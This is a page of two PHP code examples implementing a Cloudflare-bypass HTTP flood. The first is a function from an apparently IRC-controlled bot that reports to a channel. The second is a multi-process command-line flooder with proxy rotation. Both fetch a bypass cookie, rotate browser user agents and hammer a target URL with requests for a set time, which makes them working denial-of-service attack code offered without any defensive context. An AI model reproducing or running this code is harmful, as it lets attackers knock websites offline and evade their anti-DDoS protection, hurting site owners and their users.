Пример #1
0
 function cfflood($host, $time)
 {
     $useragents = array("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6", "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11", "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1");
     $ua = $useragents[array_rand($useragents)];
     $end = time() + $time;
     if (!function_exists('curl_version')) {
         $this->privmsg($this->config['chan'], "[cURL not detected!]");
         return false;
     }
     $check = curl_init();
     curl_setopt($check, CURLOPT_URL, $host);
     curl_setopt($check, CURLOPT_RETURNTRANSFER, 1);
     curl_setopt($check, CURLOPT_USERAGENT, $ua);
     curl_setopt($check, CURLOPT_FOLLOWLOCATION, true);
     $check1 = curl_exec($check);
     curl_close($check);
     if (strstr($check1, "DDoS protection by CloudFlare")) {
         $this->privmsg($this->config['chan'], "[UAM Not Detected!]");
         return false;
     }
     $bypasscookie = bypassyourdog($host, $ua, NULL);
     if (strlen($bypasscookie) > 70) {
         $this->privmsg($this->config['chan'], "[Starting CF Bypass flood!]");
         while ($end > time()) {
             $flood = curl_init();
             curl_setopt($flood, CURLOPT_URL, $host);
             curl_setopt($flood, CURLOPT_RETURNTRANSFER, 1);
             curl_setopt($flood, CURLOPT_USERAGENT, $ua);
             curl_setopt($flood, CURLOPT_FOLLOWLOCATION, true);
             curl_setopt($flood, CURLOPT_COOKIE, $bypasscookie);
             $flood123 = curl_exec($flood);
             curl_close($flood);
         }
         $this->privmsg($this->config['chan'], "[CFBypass flood over.!]");
     } else {
         $this->privmsg($this->config['chan'], "[Bypass failed!]");
         return false;
     }
 }
Пример #2
0
echo "Starting cf bypass on {$argv['1']} for {$argv['4']} seconds with {$argv['3']} threads\n";
for ($i = 0; $i < $threads; $i++) {
    $pid = pcntl_fork();
    if ($pid == -1) {
        echo "Forking failed on {$i} loop of forking.\n";
        exit;
    } elseif ($pid) {
        continue;
    } else {
        if (!strpos($argv[2], "dog")) {
            $proxy = rand_line($argv[2]);
        } else {
            $proxy = NULL;
        }
        $ua = $useragents[array_rand($useragents)];
        $bypasscookie = bypassyourdog($argv[1], $ua, $proxy);
        if (strlen($bypasscookie) > 70) {
            while ($end > time()) {
                $flood = curl_init();
                curl_setopt($flood, CURLOPT_URL, $argv[1]);
                curl_setopt($flood, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($flood, CURLOPT_USERAGENT, $ua);
                curl_setopt($flood, CURLOPT_FOLLOWLOCATION, true);
                curl_setopt($flood, CURLOPT_PROXY, $proxy);
                curl_setopt($flood, CURLOPT_COOKIE, $bypasscookie);
                $flood123 = curl_exec($flood);
                curl_close($flood);
            }
        }
        die;
    }